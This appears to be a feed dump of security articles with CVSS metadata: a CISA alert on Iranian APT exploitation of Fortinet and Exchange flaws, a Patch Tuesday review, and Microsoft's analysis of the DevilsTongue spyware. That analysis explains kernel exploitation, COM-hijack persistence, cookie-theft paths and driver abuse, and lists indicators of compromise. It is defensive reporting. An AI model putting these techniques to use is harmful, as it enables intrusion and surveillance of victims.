"availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-15T18:05:29", "type": "threatpost", "title": "TrickBot Gang Enters Cybercrime Elite with Fresh Affiliates", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-10-15T18:05:29", "id": "THREATPOST:827A7E3B49365A0E49A11A05A5A29192", "href": "https://threatpost.com/trickbot-cybercrime-elite-affiliates/175510/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-11-18T02:26:11", "description": "A state-backed Iranian threat actor has been using multiple CVEs \u2013 including both serious Fortinet vulnerabilities for months and a Microsoft Exchange ProxyShell weakness for weeks \u2013 looking to gain a foothold within networks before moving laterally and launching [BitLocker](<https://threatpost.com/hades-ransomware-connections-hafnium/165069/>) ransomware and other nastiness.\n\nA joint [advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/11/17/iranian-government-sponsored-apt-cyber-actors-exploiting-microsoft>) published by CISA on Wednesday was meant to highlight the ongoing, malicious cyber assault, which has been tracked by the FBI, the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC) and the United Kingdom\u2019s National Cyber Security Centre (NCSC). All of the security bodies have traced the attacks to an Iranian government-sponsored advanced persistent threat (APT).\n\nThe Iranian APT has been exploiting Fortinet vulnerabilities since at least March 2021 and a Microsoft Exchange ProxyShell vulnerability since at least October 2021, according to the alert. The weaknesses are granting the attackers initial access to systems that\u2019s then leading to follow-on operations including ransomware, data exfiltration or encryption, and extortion.\n\nThe APT has used the same Microsoft Exchange vulnerability in Australia.\n\n## CISA Warning Follows Microsoft Report on Six Iranian Threat Groups\n\nCISA\u2019s warning came on the heels of [an analysis](<https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/>) of the evolution of Iranian threat actors released by Microsoft\u2019s Threat Intelligence Center (MSTIC) on Tuesday.\n\nMSTIC researchers called out three trends they\u2019ve seen emerge since they started tracking six increasingly sophisticated Iranian APT groups in September 2020:\n\n * They are increasingly utilizing ransomware to either collect funds or disrupt their targets.\n * They are more patient and persistent while engaging with their targets.\n * While Iranian operators are more patient and persistent with their social engineering campaigns, they continue to employ aggressive brute force attacks on their targets.\n\nThey\u2019ve seen ransomware attacks coming in waves, averaging every six to eight weeks, as shown in the timeline below.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/17104422/Fig1b-ransomware-timeline.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/17104422/Fig1b-ransomware-timeline.jpg>)\n\nTimeline of ransomware attacks by Iranian threat actors. Source: MSTIC.\n\nIn keeping with what CISA described on Wednesday, MSTIC has seen the Iran-linked [Phosphorous group](<https://threatpost.com/apt-ta453-siphons-intel-mideast/167715/>) \u2013 aka a number of names, including Charming Kitten, TA453, APT35, Ajax Security Team, NewsBeef and Newscaster \u2013 globally target the Exchange and Fortinet flaws \u201cwith the intent of deploying ransomware on vulnerable networks.\u201d\n\nThe researchers pointed to a recent blog post by the [DFIR Report](<https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/>) describing a similar intrusion, in which the attackers exploited vulnerabilities in on-premise Exchange Servers to compromise their targets\u2019 environments and encrypt systems via BitLocker ransomware: activity that MSTIC also attributed to Phosphorous.\n\n## No Specific Sectors Targeted\n\nThe threat actors covered in CISA\u2019s alert aren\u2019t targeting specific sectors. Rather, they\u2019re focused on exploiting those irresistible Fortinet and Exchange vulnerabilities.\n\nThe alert advised that the APT actors are \u201cactively targeting a broad range of victims across multiple U.S. critical infrastructure sectors, including the Transportation Sector and the Healthcare and Public Health Sector, as well as Australian organizations.\u201d\n\n## Malicious Activity\n\nSince March, the Iranian APT actors have been scanning devices on ports 4443, 8443 and 10443 for the much-exploited, serious Fortinet FortiOS vulnerability tracked as [CVE-2018-13379](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) \u2013 a path-traversal issue in Fortinet FortiOS, where the SSL VPN web portal allows an unauthenticated attacker to download system files via specially crafted HTTP resource requests.\n\nIt\u2019s d\u00e9j\u00e0 vu all over again: In April, CISA had [warned](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) about those same ports being scanned by cyberattackers looking for the Fortinet flaws. In its April alert ([PDF](<https://www.ic3.gov/media/news/2021/210402.pdf>)), CISA said that it looked like the APT actors were going after access \u201cto multiple government, commercial, and technology services networks.\u201d\n\nThat\u2019s what APT actors do, CISA said: They exploit critical vulnerabilities like the Fortinet CVEs \u201cto conduct distributed denial-of-service (DDoS) attacks, ransomware attacks, structured query language (SQL) injection attacks, spearphishing campaigns, website defacements, and disinformation campaigns.\u201d\n\nCVE-2018-13379 was just one of three security vulnerabilities in the Fortinet SSL VPN that the security bodies had seen being used to gain a foothold within networks before moving laterally and carrying out recon, as the FBI and CISA said in the April alert.\n\nAccording to Wednesday\u2019s report, the APT actors are also enumerating devices for the remaining pair of FortiOS vulnerabilities in the trio CISA saw being exploited in March, which are:\n\n * [CVE-2020-12812](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12812>), an improper-authentication vulnerability in SSL VPN in FortiOS that could allow a user to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username, and\n * [CVE-2019-5591](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5591>): a default-configuration vulnerability in FortiOS that could allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the LDAP server.\n\n\u201cThe Iranian Government-sponsored APT actors likely exploited these vulnerabilities to gain access to vulnerable networks,\u201d according to Wednesday\u2019s alert.\n\nIn May, the same Iranian actors also exploited a Fortinet FortiGate firewall to gain access to a U.S. municipal government\u2019s domain. \u201cThe actors likely created an account with the username \u201celie\u201d to further enable malicious activity,\u201d CISA said, pointing to a previous FBI flash alert ([PDF](<https://www.ic3.gov/media/news/2021/210527.pdf>)) on the incident.\n\nIn June, the same APT actors exploited another FortiGate security appliance to access environmental control networks associated with a U.S. children\u2019s hospital after likely leveraging a server assigned to IP addresses 91.214.124[.]143 and 162.55.137[.]20: address that the FBI and CISA have linked with Iranian government cyber activity. They did it to \u201cfurther enable malicious activity against the hospital\u2019s network,\u201d CISA explained.\n\n\u201cThe APT actors accessed known user accounts at the hospital from IP address 154.16.192[.]70, which FBI and CISA judge is associated with government of Iran offensive cyber activity,\u201d CISA said.\n\n## Yet More Exchange ProxyShell Attacks\n\nFinally, the gang turned to exploiting a Microsoft Exchange ProxyShell vulnerability \u2013 CVE-2021-34473 \u2013 last month, in order to, again, gain initial access to systems in advance of follow-on operations. ACSC believes that the group has also used [CVE-2021-34473](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>) in Australia.\n\nProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords.\n\nThe attack was outlined in a presentation ([PDF](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>)) given by Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) at Black Hat in April. In it, Tsai disclosed an entirely new attack surface in Exchange, and a [barrage](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) of [attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) soon followed. August was glutted with reports of threat actors exploiting ProxyShell to launch [webshell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as well as to deliver [LockFile ransomware](<https://pbs.twimg.com/media/E9TmPo6XMAYCnO-?format=jpg&name=4096x4096>).\n\n## Indications of Compromise\n\n[CISA\u2019s detailed alert](<https://us-cert.cisa.gov/ncas/alerts/aa21-321a>) gives a laundry list of tactics and techniques being used by the Iran-linked APT.\n\nOne of many indicators of compromise (IOC) that\u2019s been spotted are new user accounts that may have been created by the APT on domain controllers, servers, workstations and active directories [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)].\n\n\u201cSome of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization,\u201d CISA advised.\n\nBesides unrecognized user accounts or accounts established to masquerade as existing accounts, these account usernames may be associated with the APT\u2019s activity:\n\n * Support\n * Help\n * elie\n * WADGUtilityAccount\n\nIn its Tuesday analysis, MSTIC researchers cautioned that Iranian operators are flexible, patient and adept, \u201c[having] adapted both their strategic goals and tradecraft.\u201d Over time, they said, the operators have evolved into \u201cmore competent threat actors capable of conducting a full spectrum of operations, including:\n\n * Information operations\n * Disruption and destruction\n * Support to physical operations\n\nSpecifically, these threat actors are proved capable of all these operations, researchers said:\n\n * Deploy ransomware\n * Deploy disk wipers\n * Deploy mobile malware\n * Conduct phishing attacks\n * Conduct password spray attacks\n * Conduct mass exploitation attacks\n * Conduct supply chain attacks\n * Cloak C2 communications behind legitimate cloud services\n\n_**Want to win back control of the flimsy passwords standing between your network and the next cyberattack? Join Darren James, head of internal IT at Specops, and Roger Grimes, data-driven defense evangelist at KnowBe4, to find out how during a free, LIVE Threatpost event, **_[**\u201cPassword Reset: Claiming Control of Credentials to Stop Attacks,\u201d**](<https://bit.ly/3bBMX30>)_** TODAY, Wed., Nov. 17 at 2 p.m. ET. Sponsored by Specops.**_\n\n[**Register NOW**](<https://bit.ly/3bBMX30>)_** for the LIVE event**__**!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-17T17:04:01", "type": "threatpost", "title": "Exchange, Fortinet Flaws Being Exploited by Iranian APT, CISA Warns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-17T17:04:01", "id": "THREATPOST:604B67FD6EFB0E72DDD87DF07C8F456D", "href": "https://threatpost.com/exchange-fortinet-exploited-iranian-apt-cisa/176395/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "avleonov": [{"lastseen": "2021-07-28T14:34:07", "description": "Hello everyone! For the past 9 months, I've been doing Microsoft Patch Tuesday reviews quarterly. Now I think it would be better to review the July Patch Tuesday while the topic is still fresh. And that will save us some time in the next Last Week\u2019s Security news episode. So, July Patch Tuesday, 116 vulnerabilities.\n\nThe 2 most critical are the Windows Kernel Elevation of Privilege Vulnerabilities (CVE-2021-31979, CVE-2021-33771). These vulnerabilities are critical because they are used in real attacks according to Microsoft\u2019s Threat Intelligence Center and Security Response Center. Tenable: "A local, authenticated attacker could exploit these vulnerabilities to run processes with elevated permissions. Similar zero-day vulnerabilities were patched in April 2020, which were observed under active exploitation by Google Project Zero."\n\nAnother vulnerability with a sign of exploitation in the wild is Scripting Engine Memory Corruption Vulnerability (CVE-2021-34448). ZDI: "The vulnerability allows an attacker to execute their code on an affected system if a user browses to a specially crafted website. The code execution would occur at the logged-on user level. This is also a case where CVSS doesn\u2019t quite offer a true glimpse of the threat. Microsoft lists the attack complexity as high, which knocks this from a high severity (>8) to a medium severity (6.8). However, if there are already active attacks, does complexity matter? Regardless, treat this as critical since it could allow code execution on every supported version of Windows."\n\nA rare Windows Kernel Remote Code Execution Vulnerability (CVE-2021-34458). ZDI "This bug impacts systems hosting virtual machines with single root input/output virtualization (SR-IOV) devices. It\u2019s not clear how widespread this configuration is, but considering this bug rates as a CVSS 9.9, it\u2019s not one to ignore. If you have virtual machines in your environment, test and patch quickly."\n\nNext most critical 3 Remote Code Executions in Windows DNS Server (CVE-2021-33780, CVE-2021-34494, CVE-2021-34525). User interaction is not required for the exploitation. Tenable: "Based on the scores provided, exploitation of these flaws would require a low privileged account, presumably with the ability to send crafted DNS requests across the network, to target an affected DNS Server."\n\nRCE in Microsoft Exchange Server (CVE-2021-31206). It was disclosed during the last Pwn2Own contest. Nothing else is known about it. It is not yet clear whether this will be the second ProxyLogon. And there's a funny thing about Exchange as well. ZDI: "The real surprise in this month\u2019s Exchange patches are the three bugs patched in April but not documented until today." So, you understand, right? You are trying to figure out, based on the analysis of the CVE list, whether it is worth installing a particular patch. But it turns out that the information about what exactly fixes this patch is incomplete. Therefore, if possible, just install all patches regularly, rather than trying to choose what to install and what not.\n\nAnd finally \u201cExploitation Less Likely\u201d RCE vulnerability in Windows Hyper-V (CVE-2021-34450). Tenable: "It would allow an attacker who is authenticated to a guest virtual machine (VM) to send crafted requests to execute arbitrary code on the host machine (\u2026) it is important to consider that malware variants commonly look to escape VMs and infect the host machine".\n\nFull Vulristics report [ms_patch_tuesday_july2021_report_avleonov_comments](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_july2021_report_avleonov_comments.html>)\n\n![](http://feeds.feedburner.com/~r/avleonov/~4/fnpS1VKtsh0)", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.9, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-14T21:00:27", "type": "avleonov", "title": "Vulristics Microsoft Patch Tuesday July 2021: Zero-days EoP in Kernel and RCE in Scripting Engine, RCEs in Kernel, DNS Server, Exchange and Hyper-V", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34494", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-31206", "CVE-2021-34450", "CVE-2021-34525", "CVE-2021-33780", "CVE-2021-31979"], "modified": "2021-07-14T21:00:27", "id": "AVLEONOV:BAA1E4E49B508F98138C7EBA9B9C07E6", "href": "http://feedproxy.google.com/~r/avleonov/~3/fnpS1VKtsh0/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "mmpc": [{"lastseen": "2021-07-28T14:39:39", "description": "The Microsoft Threat Intelligence Center (MSTIC) alongside the Microsoft Security Response Center (MSRC) has uncovered a private-sector offensive actor, or PSOA, that we are calling SOURGUM in possession of now-patched, Windows 0-day exploits ([CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>) and [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>)).\n\nPrivate-sector offensive actors are private companies that manufacture and sell cyberweapons in hacking-as-a-service packages, often to government agencies around the world, to hack into their targets\u2019 computers, phones, network infrastructure, and other devices. With these hacking packages, usually the government agencies choose the targets and run the actual operations themselves. The tools, tactics, and procedures used by these companies only adds to the complexity, scale, and sophistication of attacks. We take these threats seriously and have moved swiftly alongside our partners to build in the latest protections for our customers.\n\nMSTIC believes SOURGUM is an Israel-based private-sector offensive actor. We would like to thank the Citizen Lab, at the University of Toronto's Munk School, for sharing the sample of malware that initiated this work and their collaboration during the investigation. In their [blog](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>), Citizen Lab asserts with high confidence that SOURGUM is an Israeli company commonly known as Candiru. [Third-party reports](<https://www.haaretz.com/middle-east-news/.premium-top-secret-israeli-cyberattack-firm-revealed-1.6805950>) indicate Candiru produces \u201chacking tools [that] are used to break into computers and servers\u201d_. _\n\nAs we shared in the [Microsoft on the Issues blog](<https://blogs.microsoft.com/on-the-issues/2021/07/15/cyberweapons-cybersecurity-sourgum-malware/>), Microsoft and Citizen Lab have worked together to disable the malware being used by SOURGUM that targeted more than 100 victims around the world including politicians, human rights activists, journalists, academics, embassy workers, and political dissidents. To limit these attacks, Microsoft has created and built protections into our products against this unique malware, which we are calling _DevilsTongue_. We have shared these protections with the security community so that we can collectively address and mitigate this threat. We have also issued a software update that will protect Windows customers from the associated exploits that the actor used to help deliver its highly sophisticated malware.\n\n## SOURGUM victimology\n\nMedia reports ([1](<https://www.theguardian.com/technology/2015/jul/06/hacking-team-hacked-firm-sold-spying-tools-to-repressive-regimes-documents-claim>), [2](<https://www.theguardian.com/media/2020/dec/20/citizen-lab-nso-dozens-of-aljazeera-journalists-allegedly-hacked-using-israeli-firm-spyware>), [3](<https://www.wired.co.uk/article/phone-hacking-mollitiam-industries>)) indicate that PSOAs often sell Windows exploits and malware in hacking-as-a-service packages to government agencies. Agencies in Uzbekistan, United Arab Emirates, and Saudi Arabia are among the list of Candiru\u2019s [alleged previous customers](<https://urldefense.com/v3/__https:/www.forbes.com/sites/thomasbrewster/2019/10/03/meet-candiru-the-super-stealth-cyber-mercenaries-hacking-apple-and-microsoft-pcs-for-profit/__;!!OPvj_Mo!qxCbqIivPDfDqHshaSJGunR3h_DoOYV2RVnwMJgvScAoj3M1t_G2HZOUIdiCpg$>). These agencies, then, likely choose whom to target and run the cyberoperations themselves.\n\nMicrosoft has identified over 100 victims of SOURGUM\u2019s malware, and these victims are as geographically diverse as would be expected when varied government agencies are believed to be selecting the targets. Approximately half of the victims were found in Palestinian Authority, with most of the remaining victims located in Israel, Iran, Lebanon, Yemen, Spain (Catalonia), United Kingdom, Turkey, Armenia, and Singapore. To be clear, the identification of victims of the malware in a country doesn\u2019t necessarily mean that an agency in that country is a SOURGUM customer, as international targeting is common.\n\nAny [Microsoft 365 Defender](<https://www.microsoft.com/en-us/security/business/threat-protection/microsoft-365-defender>) and [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>) alerts containing detection names for the DevilsTongue malware name are signs of compromise by SOURGUM\u2019s malware. We have included a comprehensive list of detection names below for customers to perform additional hunting in their environments.\n\n## Exploits\n\nSOURGUM appears to use a chain of browser and Windows exploits, including 0-days, to install malware on victim boxes. Browser exploits appear to be served via single-use URLs sent to targets on messaging applications such as WhatsApp.\n\nDuring the investigation, Microsoft discovered two Windows 0-day exploits for vulnerabilities tracked as CVE-2021-31979 and CVE-2021-33771, both of which have been fixed in the July 2021 security updates. These vulnerabilities allow privilege escalation, giving an attacker the ability to escape browser sandboxes and gain kernel code execution. If customers have taken the July 2021 security update, they are protected from these exploits.\n\n[CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>) fixes an integer overflow within Windows NT-based operating system (NTOS). This overflow results in an incorrect buffer size being calculated, which is then used to allocate a buffer in the kernel pool. A buffer overflow subsequently occurs while copying memory to the smaller-than-expected destination buffer. This vulnerability can be leveraged to corrupt an object in an adjacent memory allocation. Using APIs from user mode, the kernel pool memory layout can be groomed with controlled allocations, resulting in an object being placed in the adjacent memory location. Once corrupted by the buffer overflow, this object can be turned into a user mode to kernel mode read/write primitive. With these primitives in place, an attacker can then elevate their privileges.\n\n[CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>) addresses a race condition within NTOS resulting in the use-after-free of a kernel object. By using multiple racing threads, the kernel object can be freed, and the freed memory reclaimed by a controllable object. Like the previous vulnerability, the kernel pool memory can be sprayed with allocations using user mode APIs with the hopes of landing an object allocation within the recently freed memory. If successful, the controllable object can be used to form a user mode to kernel mode read/write primitive and elevate privileges.\n\n## DevilsTongue malware overview\n\nDevilsTongue is a complex modular multi-threaded piece of malware written in C and C++ with several novel capabilities. Analysis is still on-going for some components and capabilities, but we\u2019re sharing our present understanding of the malware so defenders can use this intelligence to protect networks and so other researchers can build on our analysis.\n\nFor files on disk, PDB paths and PE timestamps are scrubbed, strings and configs are encrypted, and each file has a unique hash. The main functionality resides in DLLs that are encrypted on disk and only decrypted in memory, making detection more difficult. Configuration and tasking data is separate from the malware, which makes analysis harder. DevilsTongue has both user mode and kernel mode capabilities. There are several novel detection evasion mechanisms built in. All these features are evidence that SOURGUM developers are very professional, have extensive experience writing Windows malware, and have a good understanding of operational security.\n\nWhen the malware is installed, a first-stage \u2018hijack\u2019 malware DLL is dropped in a subfolder of _C:\\Windows\\system32\\IME\\_; the folders and names of the hijack DLLs blend with legitimate names in the _\\IME\\_ directories. Encrypted second-stage malware and config files are dropped into subfolders of _C:\\Windows\\system32\\config\\ _with a _.dat _file extension. A third-party legitimate, signed driver _physmem.sys_ is dropped to the _system32\\drivers _folder. A file called _WimBootConfigurations.ini_ is also dropped; this file has the command for following the COM hijack. Finally, the malware adds the hijack DLL to a COM class registry key, overwriting the legitimate COM DLL path that was there, achieving persistence via [COM hijacking](<https://attack.mitre.org/techniques/T1546/015/>).\n\nFrom the COM hijacking, the DevilsTongue first-stage hijack DLL gets loaded into a _svchost.exe_ process to run with SYSTEM permissions. The COM hijacking technique means that the original DLL that was in the COM registry key isn\u2019t loaded. This can break system functionality and trigger an investigation that could lead to the discovery of the malware, but DevilsTongue uses an interesting technique to avoid this. In its _DllMain_ function it calls _LoadLibrary_ on the original COM DLL so it is correctly loaded into the process. DevilsTongue then searches the call stack to find the return address of _LoadLibraryExW_ (i.e., the function currently loading the DevilsTongue DLL), which would usually return the base address of the DevilsTongue DLL.\n\nOnce the _LoadLibraryExW_ return address has been found, DevilsTongue allocates a small buffer with shellcode that puts the COM DLL\u2019s base address (_imecfmup.7FFE49060000_ in Figure 1) into the _rax_ register and then jumps to the original return address of _LoadLibraryExW_ (_svchost.7FF78E903BFB_ in Figures 1 and 2). In Figure 1 the COM DLL is named _imecfmup_ rather than a legitimate COM DLL name because some DevilsTongue samples copied the COM DLL to another location and renamed it.\n\n![](https://www.microsoft.com/security/blog/uploads/securityprod/2021/07/Fig1-DevilsTong-return-address-modification-shellcode.png)\n\n_Figure 1. _DevilsTongue _return address modification shellcode_\n\nDevilsTongue then swaps the original _LoadLibraryExW_ return address on the stack with the address of the shellcode so that when _LoadLibraryExW_ returns it does so into the shellcode (Figures 2 and 3). The shellcode replaces the DevilsTongue base address in _rax_ with the COM DLL\u2019s base address, making it look like _LoadLibraryExW_ has returned the COM DLL\u2019s address. The _svchost.exe_ host process now uses the returned COM DLL base address as it usually would.\n\n![](https://www.microsoft.com/security/blog/uploads/securityprod/2021/07/Fig2-Call-stack-before-stack-swap.png)\n\n_Figure 2. Call stack before stack swap, LoadLibraryExW in kernelbase returning to svchost.exe (0x7FF78E903BFB)_\n\n![](https://www.microsoft.com/security/blog/uploads/securityprod/2021/07/Fig3-Call-stack-after-stack-swap.png)\n\n_Figure 3. Call stack after stack swap, LoadLibraryExW in kernelbase returning to the shellcode address (0x156C51E0000 from Figure 1)_\n\nThis technique ensures that the DevilsTongue DLL is loaded by the _svchost.exe_ process, giving the malware persistence, but that the legitimate COM DLL is also loaded correctly so there\u2019s no noticeable change in functionality on the victim\u2019s systems.\n\nAfter this, the hijack DLL then decrypts and loads a second-stage malware DLL from one of the encrypted _.dat_ files. The second-stage malware decrypts another _.dat_ file that contains multiple helper DLLs that it relies on for functionality.\n\nDevilsTongue has standard malware capabilities, including file collection, registry querying, running WMI commands, and querying SQLite databases. It\u2019s capable of stealing victim credentials from both LSASS and from browsers, such as Chrome and Firefox. It also has dedicated functionality to decrypt and exfiltrate conversations from the [Signal](<https://signal.org/>) messaging app.\n\nIt can retrieve cookies from a variety of web browsers. These stolen cookies can later be used by the attacker to sign in as the victim to websites to enable further information gathering. Cookies can be collected from these paths (_* is a wildcard to match any folders_):\n\n * _%LOCALAPPDATA%\\Chromium\\User Data\\\\*\\Cookies_\n * _%LOCALAPPDATA%\\Google\\Chrome\\User Data\\\\*\\Cookies_\n * _%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies_\n * _%LOCALAPPDATA%\\Packages\\\\*\\AC\\\\*\\MicrosoftEdge\\Cookies_\n * _%LOCALAPPDATA%\\UCBrowser\\User Data_i18n\\\\*\\Cookies.9_\n * _%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\\\*\\Cookies_\n * _%APPDATA%\\Apple Computer\\Safari\\Cookies\\Cookies.binarycookies_\n * _%APPDATA%\\Microsoft\\Windows\\Cookies_\n * _%APPDATA%\\Mozilla\\Firefox\\Profiles\\\\*\\cookies.sqlite_\n * _%APPDATA%\\Opera Software\\Opera Stable\\Cookies_\n\nInterestingly, DevilsTongue seems able to use cookies directly from the victim\u2019s computer on websites such as Facebook, Twitter, Gmail, Yahoo, Mail.ru, Odnoklassniki, and Vkontakte to collect information, read the victim\u2019s messages, and retrieve photos. DevilsTongue can also send messages as the victim on some of these websites, appearing to any recipient that the victim had sent these messages. The capability to send messages could be weaponized to send malicious links to more victims.\n\nAlongside DevilsTongue a third-party signed driver is dropped to _C:\\Windows\\system32\\drivers\\physmem.sys_. The driver\u2019s description is \u201cPhysical Memory Access Driver,\u201d and it appears to offer a \u201cby-design" kernel read/write capability. This appears to be abused by DevilsTongue to proxy certain API calls via the kernel to hinder detection, including the capability to have some of the calls appear from other processes. Functions capable of being proxied include _CreateProcessW, VirtualAllocEx, VirtualProtectEx, WriteProcessMemory, ReadProcessMemory, CreateFileW _and_ RegSetKeyValueW_.\n\n## Prevention and detection\n\nTo prevent compromise from browser exploits, it\u2019s recommended to use an isolated environment, such as a virtual machine, when opening links from untrusted parties. Using a modern version of Windows 10 with virtualization-based protections, such as Credential Guard, prevents DevilsTongue\u2019s LSASS credential-stealing capabilities. Enabling the attack surface reduction rule \u201c[Block abuse of exploited vulnerable signed drivers](<https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction?view=o365-worldwide#block-abuse-of-exploited-vulnerable-signed-drivers>)\u201d in Microsoft Defender for Endpoint blocks the driver that DevilsTongue uses. [Network protection](<https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/network-protection?view=o365-worldwide>) blocks known SOURGUM domains.\n\n### Detection opportunities\n\nThis section is intended to serve as a non-exhaustive guide to help customers and peers in the cybersecurity industry to detect the DevilsTongue malware. We\u2019re providing this guidance with the expectation that SOURGUM will likely change the characteristics we identify for detection in their next iteration of the malware. Given the actor\u2019s level of sophistication, however, we believe that outcome would likely occur irrespective of our public guidance.\n\n#### File locations\n\nThe hijack DLLs are in subfolders of _\\system32\\ime\\ _with names starting with \u2018_im\u2019. _However, they are blended with legitimate DLLs in those folders. To distinguish between the malicious and benign, the legitimate DLLs are signed (on Windows 10) whereas the DevilsTongue files aren\u2019t_. _Example paths:\n\n * _C:\\Windows\\System32\\IME\\IMEJP\\imjpueact.dll _\n * _C:\\Windows\\system32\\ime\\IMETC\\IMTCPROT.DLL_\n * _C:\\Windows\\system32\\ime\\SHARED\\imecpmeid.dll_\n\n_ _The DevilsTongue configuration files, which are AES-encrypted, are in subfolders of _C:\\Windows\\system32\\config\\ _and have a _.dat_ extension. The exact paths are victim-specific, although some folder names are common across victims. As the files are AES-encrypted, any files whose size mod 16 is 0 can be considered as a possible malware config file. The config files are always in new folders, not the legitimate existing folders (e.g., on Windows 10, never in \\Journal, \\systemprofile, \\TxR etc.). Example paths:\n\n * _C:\\Windows\\system32\\config\\spp\\ServiceState\\Recovery\\pac.dat_\n * _C:\\Windows\\system32\\config\\cy-GB\\Setup\\SKB\\InputMethod\\TupTask.dat_\n * _C:\\Windows\\system32\\config\\config\\startwus.dat_\n\nCommonly reused folder names in the config file paths:\n\n * _spp_\n * _SKB_\n * _curv_\n * _networklist_\n * _Licenses_\n * _InputMethod_\n * _Recovery_\n\nThe .ini reg file has the unique name 